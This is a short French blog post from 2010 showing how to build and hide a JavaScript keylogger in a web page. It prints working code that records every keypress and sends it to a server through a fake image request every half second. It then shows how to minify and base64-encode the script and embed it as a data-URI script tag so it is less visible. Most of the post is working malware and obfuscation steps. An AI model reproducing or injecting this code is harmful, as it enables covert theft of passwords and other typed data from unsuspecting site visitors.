Hidden Keylogger javascript

Le mar. 14 décembre 2010 par Kasey

Une question me trottait en tête depuis la dernière nuit du hack et la présentation de XeeK. A quoi ressemble un keylogger en JS. J'ai pris 5 minutes ce matin pour regarder un peux le scripts dispo sur le net. Bien qu'il existe une pletore de solutions. J'ai trouvé un script plutôt compact et complet que j'ai un chouilla modifier pour le rendre plus discret.

Code JS

Voila le fameux code JS :

var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}

window.setInterval(function(){
  new Image().src = 'http://127.0.0.1/keylogger.php?c='+keys;
  keys = '';
}, 500);

Grossièrement il récupère toute les touches pressées par l'utilisateur les envoies a intervale régulier a un serveur web. En chargent une fake image. Personnellement, j'ai modifie le script pour qu'il n'envoie pas de données si rien n'as été saisie. La base ...

var keys='';
document.onkeypress = function(e) {
  get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}

window.setInterval(function(){
  if(keys != '') {
    new Image().src = 'http://127.0.0.1/keylogger.php?c='+keys;
    keys = '';
  }
}, 500);

Obfusquer du javascript

Premiere chose a faire comme toujours lorsque l'on obfusque du code, le rendre le plus compact possible. Pour cela j'ai une bonne adresse en ligne :

A noter que c'est aussi valable pour compresser vos scripts en ligne afin d'accélérer les téléchargements et baisser la charge. Que du bon !

Résultat :

var keys='';document.onkeypress=function(e){get=window.event?event:e;key=get.keyCode?get.keyCode:get.charCode;key=String.fromCharCode(key);keys+=key;}
window.setInterval(function(){if(keys!=''){new Image().src='http://127.0.0.1/keylogger.php?c='+keys;keys='';}},500);

Enfin on l'encode en base64. La base quoi :)

dmFyIGtleXM9Jyc7ZG9jdW1lbnQub25rZXlwcmVzcz1mdW5jdGlvbihlKXtnZXQ9d2luZG93LmV2ZW50P2V2ZW
50OmU7a2V5PWdldC5rZXlDb2RlP2dldC5rZXlDb2RlOmdldC5jaGFyQ29kZTtrZXk9U3RyaW5nLmZyb21DaGFy
Q29kZShrZXkpO2tleXMrPWtleTt9CndpbmRvdy5zZXRJbnRlcnZhbChmdW5jdGlvbigpe2lmKGtleXMhPScnKXtu
ZXcgSW1hZ2UoKS5zcmM9J2h0dHA6Ly8xMjcuMC4wLjEva2V5bG9nZ2VyLnBocD9jPScra2V5cztrZXlzPScnO31
9LDUwMCk7

Ce site est plutôt correct pour le faire en ligne :

Dernière étape on inclus le code dans la page web :

<script type="text/javascript" charset="utf-8" src="data:text/javascript;base64,dmFy
IGtleXM9Jyc7ZG9jdW1lbnQub25rZXlwcmVzcz1mdW5jdGlvbihlKXtnZXQ9d2luZG93LmV2ZW50P2V2ZW50
OmU7a2V5PWdldC5rZXlDb2RlP2dldC5rZXlDb2RlOmdldC5jaGFyQ29kZTtrZXk9U3RyaW5nLmZyb21DaGFy
Q29kZShrZXkpO2tleXMrPWtleTt9DQp3aW5kb3cuc2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXtpZihrZXlzIT0n
Jyl7bmV3IEltYWdlKCkuc3JjPSdodHRwOi8vMTI3LjAuMC4xL2tleWxvZ2dlci5waHA/Yz0nK2tleXM7a2V5
cz0nJzt9fSw1MDApOw=="></script>

Note : je ne suis pas sur que l'encodage base64 sous cette forme fonctionne avec tous les navigateurs.

Resources

Source :

Autre

  • jskeylogger un keylogger beaucoup plus complet et surtout permanent basé sur une iframe